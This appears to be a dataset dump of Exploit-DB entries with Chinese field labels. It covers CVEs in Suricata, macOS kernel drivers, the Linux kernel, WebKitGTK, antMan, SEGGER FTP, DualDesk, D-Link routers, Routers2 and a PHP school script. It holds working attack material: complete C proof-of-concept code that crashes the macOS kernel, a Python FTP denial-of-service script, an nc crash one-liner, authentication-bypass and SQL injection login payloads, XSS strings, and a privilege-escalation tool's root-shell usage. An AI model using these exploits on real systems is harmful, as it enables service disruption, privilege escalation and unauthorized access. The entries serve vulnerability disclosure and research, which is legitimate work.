QLWD/code_shield huggingface dataset:
标题: Suricata < 4.0.4 - IDS Detection Bypass EDB-ID: 44247 CVE: 2018-6794 类型: DOS 平台: MULTIPLE 发布日期: 2018-03-05 漏洞利用脚本: -----------------------------------------------------
Vulnerability Type: Detection Bypass
Affected Product: Suricata
Vulnerable version: <4.0.4
CVE number: CVE-2018-6794
Found: 25.01.2018
By: Kirill Shipulin (@kirill_wow), Positive Technologies
Severity: Medium
------------------------------------------

About Suricata:
---------------
Suricata is a high performance Network Threat Detection, IDS, IPS and Network Security Monitoring engine. Open Source and owned by a community run non-profit foundation, the Open Information Security Foundation (OISF). Suricata is developed by the OISF, its supporting vendors and the community

Attack Description:
-------------------
If as a server side you break a normal TCP 3 way handshake packets order and inject some response data before 3whs is complete then data still will be received by the a client but some IDS engines may skip content checks on that.

Attack scenario TCP flow scheme:
Client    ->  [SYN] [Seq=0 Ack= 0]           ->  Evil Server
Client    <-  [SYN, ACK] [Seq=0 Ack= 1]      <-  Evil Server
Client    <-  [PSH, ACK] [Seq=1 Ack= 1]      <-  Evil Server  # Injection before the 3whs is completed
Client    <-  [FIN, ACK] [Seq=83 Ack= 1]     <-  Evil Server
Client    ->  [ACK] [Seq=1 Ack= 84]          ->  Evil Server
Client    ->  [PSH, ACK] [Seq=1 Ack= 84]     ->  Evil Server

IDS signature checks for tcp stream or http response body will be skipped in the case of data injection. This attack technique requires all three packets from a malicious server to be received by a client side together before it completes 3whs. Proof of concept server was written in C to reproduce this and it works reliably in local networks. Since some network devices may affect packets transmission exploitation is not so reliable for the internet scenario.

This attack possibly may impact other network monitoring or intrusion detection systems because is not limited to Suricata IDS: an old Snort IDS version 2.9.4 is also affected.

Successful exploitation leads to a complete TCP-Stream response or HTTP response signatures bypass and may be used to prevent malicious payloads from network detection.

PoС:
----
A Working PoC server is available here: https://github.com/kirillwow/ids_bypass
There is also a traffic capture of this data injection technique.

Timeline Summary:
-----------------
2018-01-25: Issue submitted to the bug tracker.
2018-01-30: Patch ready.
2018-02-14: Suricata 4.0.4 containing the fix has been released.

References:
-----------
CVE-2018-6794
https://redmine.openinfosecfoundation.org/issues/2427

Contacts:
---------
Twitter: https://twitter.com/AttackDetection
Twitter: https://twitter.com/kirill_wow
Telegram: https://t.me/kirill_wow


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44247.zip URL: https://www.exploit-db.com/exploits/44247
标题: Apple macOS Sierra 10.12.3 - 'IOFireWireFamily-null-deref' FireWire Port Denial of Service EDB-ID: 44236 CVE: 2017-2388 类型: DOS 平台: MACOS 发布日期: 2017-08-16 漏洞利用脚本: /*
 * IOFireWireFamily-null-deref.c
 * Brandon Azad
 *
 * NULL pointer dereference in IOFireWireUserClient::setAsyncRef_IsochChannelForceStop.
 *
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44236.zip
*/


#include <IOKit/IOKitLib.h>

int main() {
 int ret = 0;
 io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
   IOServiceMatching("IOFireWireLocalNode"));
 if (service == IO_OBJECT_NULL) {
  ret = 1;
  goto fail1;
 }
 io_connect_t connect;
 kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
 IOObjectRelease(service);
 if (kr != KERN_SUCCESS) {
  ret = 2;
  goto fail1;
 }
 // isochChannel_Create
 uint64_t args[3] = { 0, 0x100, 0x100 };
 uint64_t handle = 0;
 uint32_t output_count = 1;
 kr = IOConnectCallMethod(connect, 57,
   args, sizeof(args) / sizeof(*args), NULL, 0,
   &handle, &output_count, NULL, NULL);
 if (kr != KERN_SUCCESS) {
  ret = 3;
  goto fail2;
 }
 // setAsyncRef_IsochChannelForceStop
 kr = IOConnectCallMethod(connect, 90,
   &handle, 1, NULL, 0,
   NULL, NULL, NULL, NULL);
 if (kr != KERN_SUCCESS) {
  ret = 4;
  goto fail2;
 }
fail2:
 IOServiceClose(connect);
fail1:
 return ret;
} URL: https://www.exploit-db.com/exploits/44236
标题: Apple macOS Sierra 10.12.1 - 'physmem' Local Privilege Escalation EDB-ID: 44237 CVE: 2016-7617 2016-1825 类型: LOCAL 平台: MACOS 发布日期: 2017-01-16 漏洞利用脚本: ## physmem

<!-- Brandon Azad -->

physmem is a physical memory inspection tool and local privilege escalation targeting macOS up
through 10.12.1. It exploits either [CVE-2016-1825] or [CVE-2016-7617] depending on the deployment
target. These two vulnerabilities are nearly identical, and exploitation can be done exactly the
same. They were patched in OS X El Capitan [10.11.5] and macOS Sierra [10.12.2], respectively.

[CVE-2016-1825]: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-1825
[CVE-2016-7617]: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-7617
[10.11.5]: https://support.apple.com/en-us/HT206567
[10.12.2]: https://support.apple.com/en-us/HT207423

Because these are logic bugs, exploitation is incredibly reliable. I have not yet experienced a
panic in the tens of thousands of times I've run a program (correctly) exploiting these
vulnerabilities.

### CVE-2016-1825

CVE-2016-1825 is an issue in IOHIDevice which allows setting arbitrary IOKit registry properties.
In particular, the privileged property IOUserClientClass can be controlled by an unprivileged
process. I have not tested platforms before Yosemite, but the vulnerability appears in the source
code as early as Mac OS X Leopard.

### CVE-2016-7617

CVE-2016-7617 is an almost identical issue in AppleBroadcomBluetoothHostController. This
vulnerability appears to have been introduced in OS X El Capitan. It was reported by Ian Beer of
Google's Project Zero (issue [974]) and Radu Motspan.

[974]: https://bugs.chromium.org/p/project-zero/issues/detail?id=974

### Building

Build physmem by specifying your deployment target on the command line:

    $ make MACOSX_DEPLOYMENT_TARGET=10.10.5

### Running

You can read a word of physical memory using the read command:

    $ ./physmem read 0x1000
    a69a04f2f59625b3

You can write to physical memory using the write command:

    $ ./physmem write 0x1000 0x1122334455667788
    $ ./physmem read 0x1000
    1122334455667788

You can exec a root shell using the root command:

    $ ./physmem root
    sh-3.2# whoami
    root

### License

The physmem code is released into the public domain. As a courtesy I ask that if you reference or
use any of this code you attribute it to me.


Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44237.zip URL: https://www.exploit-db.com/exploits/44237
标题: Apple macOS Sierra 10.12.1 - 'IOFireWireFamily' FireWire Port Denial of Service EDB-ID: 44235 CVE: 2016-7608 类型: DOS 平台: MACOS 发布日期: 2017-08-19 漏洞利用脚本: /*
 * IOFireWireFamily-overflow.c
 * Brandon Azad
 *
 * Buffer overflow reachable from IOFireWireUserClient::localConfigDirectory_Publish.
 *
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44235.zip
*/

#include <IOKit/IOKitLib.h>
#include <stdlib.h>
#include <string.h>

int main() {
 int ret = 0;
 io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
   IOServiceMatching("IOFireWireLocalNode"));
 if (service == IO_OBJECT_NULL) {
  ret = 1;
  goto fail1;
 }
 io_connect_t connect;
 kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
 IOObjectRelease(service);
 if (kr != KERN_SUCCESS) {
  ret = 2;
  goto fail1;
 }
 // localConfigDirectory_Create
 uint64_t directory = 0;
 uint32_t output_count = 1;
 kr = IOConnectCallMethod(connect, 16,
   NULL, 0, NULL, 0,
   &directory, &output_count, NULL, NULL);
 if (kr != KERN_SUCCESS) {
  ret = 3;
  goto fail2;
 }
 // localConfigDirectory_addEntry_Buffer
 uint32_t size = 0x100000;
 void *buffer = malloc(size);
 memset(buffer, 0xaa, size);
 uint64_t addEntry_Buffer_args[6] = { directory, 0, (uint64_t)buffer, size, 0, 0 };
 kr = IOConnectCallMethod(connect, 17,
   addEntry_Buffer_args,
   sizeof(addEntry_Buffer_args) / sizeof(*addEntry_Buffer_args),
   NULL, 0,
   NULL, NULL, NULL, NULL);
 free(buffer);
 if (kr != KERN_SUCCESS) {
  ret = 4;
  goto fail2;
 }
 // localConfigDirectory_Publish
 kr = IOConnectCallMethod(connect, 21,
   &directory, 1, NULL, 0,
   NULL, NULL, NULL, NULL);
 if (kr != KERN_SUCCESS) {
  ret = 5;
  goto fail2;
 }
fail2:
 IOServiceClose(connect);
fail1:
 return ret;
} URL: https://www.exploit-db.com/exploits/44235
标题: Apple OS X Yosemite - 'flow_divert-heap-overflow' Kernel Panic EDB-ID: 44238 CVE: 2016-1827 类型: DOS 平台: OSX 发布日期: 2017-01-10 漏洞利用脚本: /*
 * flow_divert-heap-overflow.c
 * Brandon Azad
 *
 * CVE-2016-1827: Kernel heap overflow in the function flow_divert_handle_app_map_create on OS X
 * and iOS. Exploitation requires root privileges. The vulnerability was patched in OS X El Capitan
 * 10.11.5 and iOS 9.3.2.
 *
 * This proof-of-concept triggers a kernel panic on OS X Yosemite. In El Capitan the length fields
 * were changed from 64 bits to 32 bits, so the message structure will need to be updated
 * accordingly. This exploit has not been tested on iOS.
 * 
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44238.zip
 */

#include <net/if.h>
#include <string.h>
#include <sys/sys_domain.h>
#include <sys/kern_control.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
 int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
 if (ctlfd == -1) {
  return 1;
 }
 struct ctl_info info = { .ctl_id = 0 };
 strncpy(info.ctl_name, "com.apple.flow-divert", sizeof(info.ctl_name));
 int err = ioctl(ctlfd, CTLIOCGINFO, &info);
 if (err) {
  return 2;
 }
 struct sockaddr_ctl addr = {
  .sc_len     = sizeof(addr),
  .sc_family  = AF_SYSTEM,
  .ss_sysaddr = AF_SYS_CONTROL,
 };
 addr.sc_id = info.ctl_id;
 addr.sc_unit = 0;
 err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
 if (err) {
  return 3;
 }
 struct __attribute__((packed)) {
  uint8_t  type;
  uint8_t  pad1[3];
  uint32_t conn_id;
  uint8_t  prefix_count_tag;
  uint64_t prefix_count_length;
  int      prefix_count;
  uint8_t  signing_id_tag;
  uint64_t signing_id_length;
  uint8_t  signing_id[512 + 4];
 } message = {
  .type                = 9,
  .conn_id             = htonl(0),
  .prefix_count_tag    = 28,
  .prefix_count_length = htonl(sizeof(int)),
  .prefix_count        = -2,
  .signing_id_tag      = 25,
  .signing_id_length   = htonl(sizeof(message.signing_id)),
  .signing_id          = { 0xaa },
 };
 write(ctlfd, &message, sizeof(message));
 close(ctlfd);
 return 4;
} URL: https://www.exploit-db.com/exploits/44238
标题: antMan < 0.9.1a - Authentication Bypass EDB-ID: 44220 CVE: 2018-7739 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2018-03-02 漏洞利用脚本: # Exploit Title: antMan <= 0.9.0c Authentication Bypass
# Date: 02-27-2018
# Software Link: https://www.antsle.com
# Version: <= 0.9.0c
# Tested on: 0.9.0c
# Exploit Author: Joshua Bowser
# Contact: joshua.bowser@codecatoctin.com
# Website: http://www.codecatoctin.com
# Category: web apps
 
1. Description
   
antMan versions <= 0.9.c contain a critical authentication defect, allowing an unauthenticated attacker to obtain root permissions within the antMan web management console.
 
http://blog.codecatoctin.com/2018/02/antman-authentication-bypass.html
 
   
2. Proof of Concept
 
The antMan authentication implementation obtains user-supplied username and password parameters from a POST request issued to /login. Next, antMan utilizes Java’s ProcessBuilder class to invoke, as root, a bash script called antsle-auth.

This script contains two critical defects that allow an attacker to bypass the authentication checks.  By changing the username to > and the password to a url-encoded linefeed (%0a), we can force the authentication script to produce return values not anticipated by the developer.

To exploit these defects, use a web proxy to intercept the login attempt and modify the POST parameters as follows:

#-------------------------
POST /login HTTP/1.1
Host: 10.1.1.7:3000
[snip]

username= > &password=%0a
#-------------------------

You will now be successfully authenticated to antMan as the administrative root user.
 
   
3. Solution:
   
Update to version 0.9.1a URL: https://www.exploit-db.com/exploits/44220
标题: SEGGER embOS/IP FTP Server 3.22 - Denial of Service EDB-ID: 44221 CVE: 2018-7449 类型: DOS 平台: WINDOWS 发布日期: 2018-03-02 漏洞利用脚本: [+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SEGGER-embOS-FTP-SERVER-v3.22-FTP-COMMANDS-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security          
 


Vendor:
=============
www.segger.com


Product:
===========
embOS/IP FTP Server v3.22


Vulnerability Type:
===================
FTP Commands Denial Of Service



CVE Reference:
==============
CVE-2018-7449


Security Issue:
================
SEGGER embOS/IP FTP Server 3.22 allows remote attackers to cause a denial of service (daemon crash)
via an invalid LIST, STOR, or RETR command.

STOR 666\r\n
LIST\r\n
RETR '+'..\\'*8+'Windows\system.ini\r\n


TELNET x.x.x.x 21

220 Welcome to embOS/IP FTP server
USER anonymous
331 Password required.
PASS anonymous
230 User logged in, proceed.
STOR Bye!

CRASH!!!



Exploit/POC:
=============
import socket,time

VICTIM=raw_input('[+]Segger v3.22 FTP Server IP > ')
USR='anonymous'
PWD='anonymous'
CMD="STOR Bye!\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((VICTIM, 21)) 
print s.recv(1024) # Recieve FTP Banner
time.sleep(1)
s.send("USER " + USR+ "\r\n") 
print s.recv(1024) 
time.sleep(1)
s.send("PASS "+ PWD+"\r\n") #
print s.recv(1024) 
time.sleep(1)
s.send(CMD)
print 'Sent %s' % CMD
s.close() 




Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification:  February 17, 2018
Vendor acknowledgement: February 19, 2018
Vendor released fixed version v3.22a : February 23, 2018
March 1, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c). URL: https://www.exploit-db.com/exploits/44221
标题: DualDesk 20 - 'Proxy.exe' Denial of Service EDB-ID: 44222 CVE: 2018-7583 类型: DOS 平台: WINDOWS 发布日期: 2018-03-02 漏洞利用脚本: [+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/DUALDESK-v20-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security          
 

Vendor:
===============
www.dualdesk.com



Product:
===========
DualDesk v20

DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your
technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no
configuration. 



Vulnerability Type:
===================
Denial Of Service



CVE Reference:
==============
CVE-2018-7583


Security Issue:
================
Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application 
which listens on TCP Port 5500 by sending a long string of junk chars.

(d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available)
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtWaitForMultipleObjects+0x15:
77c6016d 83c404          add     esp,4


Exploit/POC:
=============
Start the Dualdesk Run Proxy as Application.

C:\>python -c "print 'a'*8000" > crash.txt

C:\>type crash.txt | nc.exe localhost 5500

Crash!!!


Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: February 4, 2018
Second attempt : February 17, 2018
Request CVE, assigned by Mitre : March 1, 2018
March 1, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c). URL: https://www.exploit-db.com/exploits/44222
标题: D-Link DIR-600M Wireless - Cross-Site Scripting EDB-ID: 44219 CVE: 2018-6936 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-03-02 漏洞利用脚本: ########################################################################
# Exploit Title: D-Link DIR-600M Wireless - Persistent Cross Site Scripting
# Date: 11.02.2018
# Vendor Homepage:  http://www.dlink.co.in
# Hardware Link: http://www.dlink.co.in/products/?pid=DIR-600M
# Category: Hardware
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Hardware Version: C1
# Firmware version: 3.01
# Tested on: Linux Mint
# CVE: CVE-2018-6936
##########################################################################

Reproduction Steps:

   - Goto your wifi router gateway [i.e: http://192.168.0.1]
   - Go to --> "Maintainence" --> "Admin"
   - Create a user with name "<script>alert("PKP")</script>"
   - Refresh the page and you will be having "PKP" popup

Note: It can also be done by changing SSID name to "<script>alert("PKP")</script>" URL: https://www.exploit-db.com/exploits/44219
标题: Routers2 2.24 - Cross-Site Scripting EDB-ID: 44216 CVE: 2018-6193 类型: WEBAPPS 平台: PERL 发布日期: 2018-02-28 漏洞利用脚本: # Exploit Title: Routers2 2.24 - Reflected Cross-Site Scripting
# Date: 18-01-18
# Vendor Homepage: http://www.steveshipway.org/software/
# Software Link: https://github.com/sshipway/routers2
# Version: 2.24
# CVE: CVE-2018-6193
# Platform: Perl
# Category: webapps
# Exploit Author: Lorenzo Di Fuccia
# Contact: lorenzo.difuccia@gmail.com
# Website: https://github.com/lorenzodifuccia

1. Description

Routers2 is vulnerable to Reflected Cross-Site Scripting, affecting the 'rtr' GET parameter in a page=graph action to `cgi-bin/routers2.pl`.

2. Proof of Concept

http://router.com/cgi-bin/routers2.pl?rtr=--><script>alert("XSS")</script>&bars=Cami&xgtype=d&page=graph&xgstyle=l2&xmtype=routers

3. Solution

Update the program cloning the repo from GitHub or disable the 'paranoia' setting in the web section of the `routers2.conf`.

4. References

https://github.com/sshipway/routers2/issues/1 URL: https://www.exploit-db.com/exploits/44216
标题: Linux Kernel - 'BadIRET' Local Privilege Escalation EDB-ID: 44205 CVE: 2014-9322 类型: LOCAL 平台: LINUX 发布日期: 2017-07-24 漏洞利用脚本: # CVE-2014-9322 PoC for Linux kernel
CVE-2014-9322 (a.k.a BadIRET) proof of concept for Linux kernel.  
This PoC uses only syscalls not any libraries, like pthread. Threads are implemented using raw Linux syscalls.  
[Raw Linux Threads via System Calls](http://nullprogram.com/blog/2015/05/15/)  

# Usage
```
$ make
```
**badiret.elf** is an ELF executable.  
**badiret.bin** is a raw binary that can be used as payload.  

# Reference
[Exploiting “BadIRET” vulnerability (CVE-2014-9322, Linux kernel privilege escalation)](https://blogs.bromium.com/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/)  

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44205.zip URL: https://www.exploit-db.com/exploits/44205
标题: School Management Script 3.0.4 - Authentication Bypass EDB-ID: 44191 CVE: 2018-7477 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-27 漏洞利用脚本: # Exploit Title: SQL Injection exists in PHP Scripts Mall School Management Script 3.0.4.
# Date: 26/02/2018
# Exploit Author: Samiran Santra
# Vendor Homepage: https://www.phpscriptsmall.com
# Software Link: https://www.phpscriptsmall.com/product/school-management-system
# Version: v3.0.4
#Tested on: Windows 
# Website: https://indiancybersecuritysolutions.com/
# CVE: CVE-2018-7477
# Category: webapps


Proof of Concept


1.First go to this link- http://localhost/PATH/parents/Parent_module/parent_login.php

2.In Username and Password filed just type sql-injection cheat-code (x'or'x'='x)

3.Now you can successfully login as a admin user URL: https://www.exploit-db.com/exploits/44191
标题: WebKitGTK 2.1.2 (Ubuntu 14.04) - Heap based Buffer Overflow EDB-ID: 44204 CVE: 2014-1303 类型: LOCAL 平台: LINUX 发布日期: 2017-08-19 漏洞利用脚本: # CVE-2014-1303 PoC for Linux
CVE-2014-1303 (WebKit Heap based BOF) proof of concept for Linux.  
This repository demonstrates the WebKit heap based buffer overflow vulnerability (CVE-2014-1303) on **Linux**.  

**NOTE:** Original exploit is written for Mac OS X and PS4 (PlayStation4).  

I've ported and tested work on Ubuntu 14.04, [WebKitGTK 2.1.2](https://webkitgtk.org/releases/)  

## Usage
Firstly you need to run simple web server,  
```
$ python server.py
```  
then  
```
$ cd /path/to/webkitgtk2.1.2/
$ ./Programs/GtkLauncher http://localhost
```
You can run several tests like,  
- Crash ROP (Jump to invalid address like 0xdeadbeefdeadbeef)
- Get PID (Get current PID)
- Code Execution (Load and execute payload from outer network)  
- File System Dump (Dump "/dev" entries)  

## Description
**exploit.html**           .....  trigger vulnerability and jump to ROP chain  
**scripts/roputil.js**     .....  utilities for ROP building  
**scripts/syscall.js**     .....  syscall ROP chains  
**scripts/code.js**        .....  hard coded remote loader  
**loader/**                .....  simple remote loader (written in C)  
**loader/bin2js**          .....  convert binary to js variables (for loader)  

## Purpose
I've created this WebKit PoC for education in my course.    
I couldn't, of course, use actual PS4 console in my lecture for legal reason :(  

## Reference
CVE 2014-1303 Proof Of Concept for PS4  
(https://github.com/Fire30/PS4-2014-1303-POC)  
Liang Chen, WEBKIT EVERYWHERE: SECURE OR NOT? [BHEU14]   
(https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not.PDF)


Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44204.zip URL: https://www.exploit-db.com/exploits/44204